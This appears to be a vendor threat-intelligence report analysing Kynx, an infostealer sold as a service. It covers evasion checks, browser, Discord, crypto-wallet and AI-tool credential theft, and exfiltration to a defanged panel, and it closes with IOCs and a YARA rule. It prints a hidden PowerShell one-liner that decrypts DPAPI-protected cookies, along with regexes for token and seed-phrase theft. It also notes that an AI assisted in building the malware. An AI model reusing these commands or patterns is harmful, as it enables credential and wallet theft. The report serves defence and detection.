Get Your Free Report
Start for Free
SOCRadar® Cyber Intelligence Inc. | Cracking Kynx: The Stealer Hunting for Your Wallets, Games, and AI Tools
Aug 07, 2026
16 Mins Read
Moon
Summarize with:

Cracking Kynx: The Stealer Hunting for Your Wallets, Games, and AI Tools

Kynx is a new Malware-as-a-Service infostealer, built in C++ with AI assistance and promoted on a Turkish game cheating forum. It targets browser credentials, 65 crypto wallet extensions, 16 gaming platforms, and 8 AI coding tools including Claude Code and Cursor.


Infostealers are a rapidly evolving threat, enabling various adversaries, ranging from ransomware groups and hacktivists to nation-state actors, to exploit stolen credentials for unauthorized access to sensitive resources. In today’s threat landscape, identity is a primary target, with attackers seeking diverse credentials including usernames, passwords, tokens, and seed phrases. The integration of AI has further trivialized malware development, allowing for the continuous emergence of new infostealers without requiring extensive programming expertise.

Following a post by skocherhan on X, the SOCRadar Threat Research Unit (STRU) analyzed Kynx, a Malware-as-a-Service (MaaS) stealer featuring a web panel deeply integrated with the malware’s execution flow.

Kynx Stealer’s panel at kynxdev[.]xyz

Kynx Stealer’s panel at kynxdev[.]xyz

External Threat Landscape

An investigation into underground forums revealed a post from January 2026 on cheatglobal[.]com, a Turkish-centric marketplace for game modding and cheating. The author, identified as kakayiyenfatali (Discord: antxchris), documented the development of Kynx (prior version 2.0). The advertisement highlighted advanced capabilities, including App-Bound Encryption (ABE) bypass and sophisticated anti-VM modules.

Notably, the threat actor (a “Legendary Member” with over 4,300 posts) admitted to using Gemini to assist the malware’s development. Currently, the platform operates as a Malware-as-a-Service (MaaS) offering Free, Plus, Pro, and Ultra subscription tiers, with premium features restricted to users possessing an invite code.

Translated excerpt of the advertisement for Kynx on the CheatGlobal Forum (Source)

Translated excerpt of the advertisement for Kynx on the CheatGlobal Forum (Source)

Technical Analysis

STRU analyzed a Kynx binary compiled on June 3, 2026. Upon execution, Kynx opens with a fake “System update” banner, rendering an animated terminal progress bar cycling through messages like “Downloading required files” and “Please wait while we sync with the server,” mimicking a software update page. While unconfirmed, this setup indicates the actor intends to distribute Kynx via cracked software or a ClickFix lure.

Kynx’s fake system update banner upon execution

Kynx’s fake system update banner upon execution

Anti-Analysis & Evasion Engine

Before Kynx initiates its credential harvesting modules, it runs a function to check if it is being executed inside a malware analyst’s lab, an automated antivirus sandbox, or a virtual machine.

It does this by running a series of hardware and software checks, assigning “penalty points” for suspicious findings. If the total penalty score is 3 or higher, it aborts execution. It logs all these checks into a file in the %TEMP% directory named kynx_vmcheck.txt. Dynamic analysis suggests the anti-analysis features failed to deploy as intended.

Kynx’s Anti-VM scoring engine:

Check Score Penalty Detection Method
Being Debugged (PEB) +10 Process Environment Block inspection for BeingDebugged flag
Hypervisor Bit +2 CPUID hypervisor present flag
Timing Check +2 GetTickCount64 delta measurement to check if sandbox skips sleep commands
Low Core Count +1 GetSystemInfo, fewer than 2 CPU cores
Low RAM Size +1 GlobalMemoryStatusEx, less than 4 GB of RAM

Kynx then evaluates the result of the anti-analysis checks and writes either “PASS” or “FAIL – KILLED” to kynx_early.txt. If the checks are passed, it attempts to create a directory named WinSysHealth-{6 number digits} (for staging the stolen data) and drops a file named debug.txt inside it to capture the stealer’s progress.

In addition, as part of other modules such as sysinfo, where system information are also sent to the stealer’s panel (described in the Exfiltration section), Kynx calls CreateToolhelp32Snapshot() to generate a list of every process currently running on the victim’s machine. It loops through the running tasks and performs a string comparison against an array of hardcoded endpoint security and malware analysis tools.

Table of malware analysis tools enumerated by Kynx:

Category Tools
Debuggers x64dbg.exe, x32dbg.exe, ollydbg.exe, ida.exe, ida64.exe, idaq.exe, idaq64.exe, windbg.exe, immunity debugger.exe
Disassemblers / Decompilers ghidra.exe, dnspy.exe, ilspy.exe, dotpeek.exe, de4dot.exe, reshacker.exe, lordpe.exe, pe-sieve.exe, pestudio.exe
System Analysis processhacker.exe, procexp.exe, procexp64.exe, procmon.exe, procmon64.exe, autoruns.exe, autorunsc.exe, regshot.exe, hollows_hunter.exe
Network Analysis wireshark.exe, tshark.exe, fiddler.exe, fiddler4.exe, fiddler everywhere.exe, charles.exe, mitmproxy.exe, proxifier.exe, tcpview.exe, burpsuite.exe
Sandbox Environments sandboxiedcomlaunch.exe, sbiectl.exe, cuckoo.exe, joeboxcontrol.exe, joeboxserver.exe, apimonitor.exe
Reverse Engineering radare2.exe, r2.exe, d4.exe

Endpoint security products enumerated by Kynx:

Security Product Process Name
Windows Defender MsMpEng.exe
Avast avastui.exe
AVG avgui.exe
Bitdefender bdagent.exe
Kaspersky kav.exe / kts.exe
Norton/Symantec ccSvcHst.exe
Norton Security NortonSecurity.exe
Sophos SophosUI.exe
McAfee McUICnt.exe
Cisco Amp CiscoAmp.exe
AVG (vprot) vprot.exe
Dr.Web drwebupw.exe
ZoneAlarm ZAM.exe
ESET ekrn.exe
Malwarebytes mbam.exe

Browser Credential Stealing

Afterwards, Kynx starts by implementing a four-method cascade (MCE -> DBS -> ChromeElevator -> raw copy) for browser credential extraction, falling back to successive methods on failure:

1. MCE (Modified Chrome Elevator)

This is the primary method of browser credential extraction. For that, it utilizes a modified version of Chrome Elevator, which is a post-exploitation tool performing in-memory bypass of Chromium’s App-Bound Encryption (ABE). It downloads the executable from hxxps[://]kynxdev[.]xyz/payloads/mce[.]exe (with https://github.com as Referrer) to disk and runs it using CreateProcessA with the arguments of “–kill -o “[TempDirectory]” all”, instructing the executable to kill all browser processes before extracting all data and saving the output to the temp directory created. In addition, it uses a key to run MCE, also identified in the configuration of Kynx’s panel (kaakkak28288nddhhBDAAD8282ksksk).

For timeout it calls WaitForSingleObject(hHandle, 90000) which gives the external payload 90 seconds to complete its execution. Once the 90 seconds pass (or the tool finishes), it scans the output directory looking for specific artifacts: Data.json and files starting with EncPack-. If it finds them, it logs “[+] MCE: Extraction successful.” and stops the chain.

HTTP request for MCE

HTTP request for MCE

Kynx’s web panel configuration

Kynx’s web panel configuration

MCE execution

MCE execution

2. DBS (Dump Browser Secrets)

If MCE fails, the second option is DBS, also known as DumpBrowserSecrets. This is another post-exploitation tool for harvesting browser-stored data. It downloads the executable from hxxps[://]kynxdev[.]xyz/payloads/dbs[.]exe to disk and runs it with the arguments of “/b:all /e:all /spoof”, instructing the tool to target all browsers for unlimited entries per category and enable argument and Parent Process ID (PPID) Spoofing when retrieving ABE keys.

For timeout it calls WaitForSingleObject(hHandle, 60000) which gives the external payload 60 seconds to complete its extraction, as with MCE. Once the 60 seconds pass (or the tool finishes), it again scans the output directory looking for the same specific artifacts: Data.json and files starting with EncPack- and if it finds them, it logs “[+] DBS: Extraction successful.” and stops the chain.

3. ChromeElevator (CE)

If DBS also fails, the third option is the original Chrome Elevator tool. It downloads the executable from hxxps[://]kynxdev[.]xyz/payloads/chromelevator[.]exe to disk and runs it using the same arguments as MCE (–kill -o “[TempDirectory]” all”). The timeout for this execution is 45 seconds, and looks for the output in a directory named Browsers.

4. Raw Copy

If CE also fails, Kynx stops trying to use external tools and switches to the last resort which is a raw copy. It relies on directory_iterator to walk the victim’s filesystem and looks specifically for folders “Default” and “Profile”. In Chromium-based browsers (Chrome, Edge, Brave, Opera), user data like Login Data (passwords) and Cookies are stored in these specifically named folders. Finally, it physically copies these SQLite database files to the staging directory. Rather than decrypting them on the fly, it grabs the raw, encrypted databases so the attackers can attempt to crack the encryption offline on their own machines.

Gaming Platform Targeting

Kynx targets a variety of gaming platforms with different methods. Of special note is Roblox for which it searches the GamingRobloxdecrypted_cookie.txt and then spawns a hidden PowerShell one-liner to decrypt DPAPI-protected browser master keys. For other games such as CraftRise and SonOyuncu, it again downloads external files from the C2 for decryption (crdecrypt.exe and som_helper.exe)

PowerShell one-liner for DPAPI decryption:

powershell -NoProfile -WindowStyle Hidden -Command “try { $enc = [System.IO.File]::ReadAllBytes(“GamingRobloxrobloxcookies.dat”); $dec = [System.Security.Cryptography.ProtectedData]::Unprotect($enc, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser); [System.IO.File]::WriteAllText(“GamingRobloxdecrypted_cookie.txt”, [System.Text.Encoding]::UTF8.GetString($dec)) } catch { }”

Gaming platforms targeted by Kynx:

Platform Data Targeted
Steam loginusers.vdf, ssfn files, account JSON
Roblox .ROBLOSECURITY, robloxcookies.dat
Minecraft launcher_profiles.json, screenshots
Battle.net Battle.net.config
Lunar Client Account files
Feather Client Local State, account.json, accounts.json, profiles
CraftRise Credentials
TLauncher Account config
AesirMC setting.json
NationsGlory Local Storageleveldb
Baso Network config.json
SonOyuncu config.json
Modrinth App data directory
PrismLauncher accounts.json
Growtopia save.dat
Epic Games account.json

Discord Token Theft

Kynx also performs Discord token theft by first removing the protections, then scanning for tokens, and then using Discord’s API to enumerate the accounts behind those tokens.

To remove protections, Kynx targets all Discord variants (Stable, Canary, and PTB) by deliberately overwriting the core index.js file with its default, uninfected code (core.asar), effectively wiping out any modifications. It then actively navigates the filesystem to locate and delete specific security tools and client modifications, systematically removing ProtectionPayload.dll and secure.dat to disable DiscordTokenProtector, alongside deleting BetterDiscord archives (betterdiscord.asar).

Rather than searching the application directories blindly, Kynx targets the base installation paths (%APPDATA%Discord, %APPDATA%discordcanary, and %APPDATA%discordptb) specifically to locate two critical components. First, it copies the Local State file from the root of each profile to extract the master key. Next, it dives into the Local Storageleveldb subfolders to pull the raw binary .ldb and .log databases where Discord natively caches its session data. Using the DPAPI and the stolen master key, Kynx decrypts the database contents in memory. Next, it scans the decrypted data using specific regex patterns to identify and exfiltrate standard Discord user tokens ([A-Za-z0-9_-]{24,28}.[A-Za-z0-9_-]{6}.[A-Za-z0-9_-]{27,38}) and MFA tokens (^mfa.[A-Za-z0-9_-]{84}$). Finally, using the stolen tokens, Kynx queries the Discord API for information:

  • /api/v9/users/@me: User profile, MFA status, phone, email, premium type, flags
  • /api/v9/users/@me/billing/payment-sources: Payment methods on file
  • /api/v9/users/@me/guilds?with_counts=true: Guild / server membership
  • /api/v9/users/@me/relationships: Friends list

Cryptocurrency Wallet Theft

Kynx Stealer also targets a wide range of crypto assets across both desktop clients and browser extensions.

Crypto desktop applications targeted by Kynx:

Wallet Path
Bitcoin Core %APPDATA%Bitcoinwallets
Ethereum %APPDATA%Ethereumkeystore
Exodus %APPDATA%Exodusexodus.wallet
Electrum %APPDATA%Electrumwallets
Monero %APPDATA%Monero
Atomic Wallet %APPDATA%atomicLocal Storageleveldb
Coinomi %LOCALAPPDATA%CoinomiCoinomiwallets
Guarda %APPDATA%Guarda
Wasabi %APPDATA%WalletWasabiClientWallets
Daedalus %APPDATA%Daedaluswallets
Dash Core %APPDATA%DashCorewallets
Dogecoin Core %APPDATA%Dogecoinwallets
Litecoin Core %APPDATA%Litecoinwallets
Jaxx Liberty %APPDATA%com.liberty.jaxxIndexedDB
Bytecoin %APPDATA%bytecoin
MultiBit %APPDATA%MultiBit
Zcash %APPDATA%Zcash
Binance %APPDATA%Binance
Armory %APPDATA%Armory

Browser extension wallets targeted by Kynx Stealer:

Browser Extension Wallets
MetaMask Phantom Solflare Trust Wallet
Coinbase Wallet Binance Chain Wallet SafePal TronLink
Ronin Wallet Keplr (Cosmos) OKX Wallet Yoroi
Liquality Rabby Rainbow XDEFI
Exodus Web3 SubWallet Sui Wallet Sender
Terra Station Martian Aptos Petra Aptos Pontem Aptos
Cosmostation Compass Braavos (Starknet) Leafkey
Leap Cosmos Casper Signer Stargazer Starcoin
XinPay Zerion Coin98 TokenPocket
Talisman Temple (Tezos) Enkrypt Clover
Finnie Fewcha ICONex Maiar DeFi
Ton Crystal Leather (Hiro) MEW CX OneKey
Polymesh Bifrost iWallet Nami
Eternl Saturn Wombat Frontier
Core Wallet BitKeep Bitapp Crocobit
OWallet PaliWallet Math Wallet KardiaChain
KaiKas

In addition, the stealer scans the Desktop, Documents, and Downloads folders for seed phrase documents through the regular expression: (seed|mnemonic|private.?key|wallet.?recovery|12.?words|24.?words|phrase|metamask|ledger). A seed phrase (also known as a recovery or mnemonic phrase) is a sequence of 12 to 24 random words generated by the crypto wallet. It acts as a master key to mathematically regenerate all private keys and crypto addresses, allowing anyone holding it to back up or restore full access to existing funds.

Web Service Session Cookie Extraction

After collecting the data, Kynx also categorizes active session tokens from web services. Each session file is saved with usage instructions so the operator can immediately replay the session on each service.

Tokens extracted for web services by Kynx:

Service Cookie / Token
Instagram sessionid
TikTok sessionid / sid_tt
Twitter / X auth_token
YouTube / Google SAPISID / __Secure-3PSID
Spotify sp_dc
Riot Games RIOTGAMES_AFFINITY (SID cookie)
Roblox .ROBLOSECURITY / GamingRobloxroblox_cookie.txt
RBXCrate access_token

VPN Configuration Theft

VPN credentials and configuration files from a variety of tools are also a target.

VPN credentials targeted by Kynx:

VPN Services Targeted
NordVPN ExpressVPN ProtonVPN
Mullvad VPN OpenVPN Private Internet Access (PIA)
Windscribe VPN Surfshark VPN CyberGhost VPN

Email & FTP Client Data Theft

Kynx also collects data from email and FTP clients:

Client Data
Thunderbird %APPDATA%ThunderbirdProfileskey4.db, cert9.db, logins.json, prefs.js
Outlook %LOCALAPPDATA%MicrosoftOutlook.ost, .pst files
Mailbird %LOCALAPPDATA%MailbirdStoreStore.db
FileZilla FTP %APPDATA%FileZillarecentservers.xml,sitemanager.xml

Email and FTP clients targeted by Kynx

Developer & AI Tool Targeting

Finally, Kynx includes a dedicated “DevGrabber” module that specifically collects data from AI coding assistants:

Tool Artifact Stolen
Claude Code Application data directory
ChatGPT (OpenAI) Local storage / app files
GitHub Copilot Copilot/vscode_state.vscdb
Cursor Editor Cursor/global_state.vscdb (SQLite), state.vscdb
Windsurf Windsurf_globalStorage
Codex (OpenAI) Application data
VS Code ms-vscode-remote, github.vscode state
Codeium Application data

AI coding assistants targeted by Kynx

Exfiltration

For exfiltration, Kynx utilizes the ChunkSender module which uses HTTP POST requests through data chunks sequentially towards the web panel (hxxps[://]kynxdev[.]xyz/api/v1/ingest.php?cat={chunk}).

Chunks supported by Kynx:

Chunk Contents
meta Basic System Profile (captured IP through api.ipify.org) and Stolen Metadata
sysinfo JSON system fingerprint
passwords Browser login credentials
cookies Browser session cookies
cards Credit/debit card data
autofills Browser autofill fields
history Browser browsing history
discord Discord tokens and account info
sessions Platform session cookies (Instagram, TikTok, etc.)
wallets Cryptocurrency wallet data
games Gaming platform credentials
steam Steam-specific account files
files Archive of grabbed files (multipart/form-data:“files.zip”, staging file: “kynx_files.zip”)

Kynx’s chunked exfiltration

Kynx’s chunked exfiltration

All requests include the header X-Kynx-Token, a single-use token with 5 minute validity (to avoid replay attacks) for authenticating the victim to the web panel and an X-Owner-ID (created upon execution – === KYNX STARTED (OWNER_UID=%d) ===) to distinguish victims between operators. Any request lacking valid, non-expired session Kynx tokens results in an immediate permanent IP ban:

Excerpt from Kynx’s web panel session.php

Excerpt from Kynx’s web panel session.php

After running all the stealing modules, Kynx Stealer sends the first chunk which is a system profile with metadata of stolen information (hxxps[://]kynxdev[.]xyz/api/v1/ingest.php?cat=meta). In this request the web panel responds back with a new UUID to uniquely identify and store victim data. For the following chunks this UUID is used in the HTTP POST requests.

Meta chunk HTTP request

Meta chunk HTTP request

Meta chunk request payload

Meta chunk request payload

Meta chunk HTTP response with UUID

Meta chunk HTTP response with UUID

Excerpt from Kynx’s web panel create_log.php

Excerpt from Kynx’s web panel create_log.php

Passwords chunk HTTP request payload

Passwords chunk HTTP request payload

Passwords chunk HTTP response

Passwords chunk HTTP response

Conclusion

Kynx is yet another addition to the evolving infostealer landscape, demonstrating how easily adversaries continue to refine their methods with AI for harvesting credentials. As attackers increasingly target identity as a primary vector for unauthorized access, organizations must prioritize proactive security measures against identity-centric threats. Furthermore, it is critical for security teams to actively explore their attack surface within infostealer logs to identify compromised accounts and mitigate risks before they escalate into full-scale breaches.

MITRE ATT&CK TTPs for Kynx Stealer

Tactic Technique ID Technique Name Description
Execution T1059.001 Command and Scripting Interpreter: PowerShell Kynx spawns a hidden PowerShell one-liner to decrypt DPAPI-protected browser master keys.
Stealth T1684.001 Social Engineering: Impersonation Kynx impersonates system updates upon execution.
Stealth T1497.001 Virtualization/Sandbox Evasion: System Checks Kynx employs a scored anti-VM system to avoid analysis and detection.
Credential Access T1555.003 Credentials from Password Stores: Credentials from Web Browsers Kynx extracts credentials from browsers through MCE, DBS, CE, or raw copy.
Discovery T1082 System Information Discovery Kynx enumerates system details for its anti-analysis checks.
Discovery T1083 File and Directory Discovery Kynx discovers files relevant to targeted applications.
Collection T1119 Automated Collection Kynx performs automated collection of files across targeted applications.
Collection T1005 Data from Local System Kynx collects data from the local system, such as browser data and email client information.
Collection T1114.001 Email Collection: Local Email Collection Kynx collects local email data from Thunderbird, Mailbird, and Outlook clients.
Collection T1213.005 Data from Information Repositories: Messaging Applications Kynx collects data from the Discord messaging application.
Collection T1213.006 Data from Information Repositories: Databases Kynx collects data from browsers’ SQLite databases.
Collection T1074 Data Staged Kynx stages the collected data in the C:Users<USER>AppDataLocalTempWinSysHealth-{6}[0,9] directory.
Collection T1560 Archive Collected Data Kynx archives the collected data to kynx_files.zip
Command and Control T1105 Ingress Tool Transfer Kynx downloads external tools such as MCE, DBS, and CE for browser credential theft.
Command and Control T1071.001 Application Layer Protocol: Web Protocols Kynx transmits stolen data to the panel in segmented chunks via HTTP POST requests.
Exfiltration T1030 Data Transfer Size Limits Kynx transmits stolen data to the panel in segmented chunks.
Exfiltration T1041 Exfiltration Over C2 Channel Kynx transmits stolen data to the panel in segmented chunks via HTTP POST requests.

Indicators of Compromise of Kynx Stealer

Indicator Type Description
kynxdev[.]xyz Domain Kynx’s Web Panel
hxxps[://]kynxdev[.]xyz/payloads/mce.exe URL Kynx’s MCE Payload URL
hxxps[://]kynxdev[.]xyz/payloads/dbs.exe URL Kynx’s DBS Payload URL
hxxps[://]kynxdev[.]xyz/payloads/chromelevator.exe URL Kynx’s CE Payload URL
hxxps[://]kynxdev[.]xyz/api/v1/ingest.php?cat={category} URL Kynx’s Exfiltration URL
e888d4b089fae16a9c2ba6114d603a97f282cfdd44bcd4793ab376699f75d192 SHA256 Kynx’s Panel
d5abe59abf73ed705aa7bba798dc417525aec110f3af48cd01c2074e763b6e21 SHA256 Modified Chrome Elevator (MCE)
c934a2db58a1a64ee245a7627843508c6c517fcb06ea6855d26a72b41ae6753b SHA256 Dump Browser Secrets (DBS)
e857298fd2f8d1c7d48780769433f33e7b3ceaae5ea5a74c13ce8c10bcc7b690 SHA256 Chrome Elevator (CE)
f2f92ab39a60850f34b672a69ca49c805f2806ee42792ac1ffae35ff9082f1cb SHA256 Kynx’s Binary
ea3455c896cac54d94c14240a8a9ff2558b4c0eec7fb7a4e71dcc0f2bd1c070b SHA256 Kynx’s Binary
b4fcfeee3e8fba9a16cf2ed992319b92cb41077df00ddc497b0b839a9a995658 SHA256 Kynx’s Binary
b07d2ac807376917e664529df16e2ffc2a1ef74085abe2e8fc33780fcfd14ba9 SHA256 Kynx’s Binary
aa7d9a173ebf7375663561cad02b9151d2ef5c0811f5c1989453283737acf5ea SHA256 Kynx’s Binary
868adce4fd9e3fce8df6b5a1d0ac7a470013f3ee17e6f4ad534cb47df81a169b SHA256 Kynx’s Binary
5ee02f807c2a96a4682fc08a21ca63940fec549a766e9b37515924d1c0ba89ad SHA256 Kynx’s Binary
5861fb86ad5395424aad41147aa5db0735e7dbd36192192f18b22e4506cae636 SHA256 Kynx’s Binary
531b831af19b01b1f60574602ecb4527e10d9807a834f55a924a2e1ce25010c7 SHA256 Kynx’s Binary
4f7e6f33e7e80b17f5c7f59ba45f3e32431b639b7d91c2bda1b26664788c8b8b SHA256 Kynx’s Binary
4b29d806723adc64a06dc55fc7313e0fdbfac8430c98a10213f023aeb3b4d24e SHA256 Kynx’s Binary
4865e7f7d6e839bfd951400c6172a56f6b8478fca8a40cd7984e6ca592e8f123 SHA256 Kynx’s Binary
3e5be9467dbc542d34a355ce485709faad81d592c5a1967e7811046f6d893b7f SHA256 Kynx’s Binary
3a007235a69ad33701aeb8a6075646138aeb181720cde884c320d4fefe6be66c SHA256 Kynx’s Binary
3507d3619e9477a209514b1498ed6f00f58bafe9714a2bd2c8655a0fe500d3d8 SHA256 Kynx’s Binary
260f42eea5cfea6a61c0359ae205ee286c327c655b36c63fc01e7fb48c54cd18 SHA256 Kynx’s Binary
18d69ae35df9231a068482e2d1b8a8fcfcc18b9425a8cfe1dbe19e4f52a204aa SHA256 Kynx’s Binary
C:Users<USER>AppDataLocalTempWinSysHealth-{6}[0,9] Directory Name Kynx’s Staging Directory
C:Users<USER>AppDataLocalTempWinSysHealth-{6}[0,9]debug.txt File Name Kynx’s Progress File
C:Users<USER>AppDataLocalTempWinSysHealth-{6}[0,9]Developersummary.txt File Name Kynx’s Stolen AI Secrets
C:Users<USER>AppDataLocalTempkynx_vmcheck.txt File Name Kynx’s Anti-Analysis Check Log
C:Users<USER>AppDataLocalTempkynx_early.txt File Name Kynx’s Anti-analysis Check State (pass|fail) File
kynx_files.zip File Name Kynx’s Staging Archive for Exfiltration
X-Kynx-Token HTTP Header Kynx’s HTTP Header

YARA Rule for Kynx Stealer

rule Kynx_Stealer {
    meta:
        description = "Detects Kynx Stealer by static strings"
        author = "SOCRadar Threat Research Unit (STRU)"
        date = "2026-07-17"
        hash = "4f7e6f33e7e80b17f5c7f59ba45f3e32431b639b7d91c2bda1b26664788c8b8b"

    strings:
        // Network
        $net1   = "X-Kynx-Token:" ascii
        $net2   = "?cat=files" ascii

        // Files
        $file1  = "kynx_vmcheck.txt" ascii
        $file2  = "kynx_files.zip" ascii
        $file3  = "kynx_early.txt" ascii
        $file4  = "som_helper.exe" ascii
        $file5  = "crdecrypt.exe" ascii
        $file6  = "debug.txt" ascii

        // Behavior
        $beh1   = "--- KYNX DEBUG LOG ---" ascii
        $beh2   = "=== KYNX STARTED (OWNER_UID=" ascii
        $beh3   = "KynxCR_" ascii
        $beh4   = "KynxSO_" ascii
        $beh5   = "DevGrabber" ascii
        $beh6   = "Priority: MCE -> DBS -> ChromeElevator -> raw copy" ascii
        $beh7   = "[=] FINAL SCORE: %d (Target: " ascii
        $beh8   = "[!] Being Debugged (PEB): %s (+" ascii
        $beh9   = "_IAS_ACCOUNTS_DO_NOT_SEND_TO_ANYONE" ascii
        $beh10  = "MCE/DBS/CE all failed" ascii
        $beh11  = "WinSysHealth" ascii

    condition:
        uint16(0) == 0x5A4D and
        (
            1 of ($net*) and 2 of ($file*) and 3 of ($beh*)
        )
}